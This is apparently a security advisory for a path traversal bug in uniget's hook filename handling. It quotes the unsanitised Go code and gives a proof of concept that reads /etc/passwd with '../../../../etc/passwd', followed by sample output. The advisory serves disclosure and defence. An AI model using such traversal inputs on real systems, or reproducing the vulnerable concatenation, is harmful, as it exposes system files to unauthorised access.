Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
{
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-36",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:46:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
}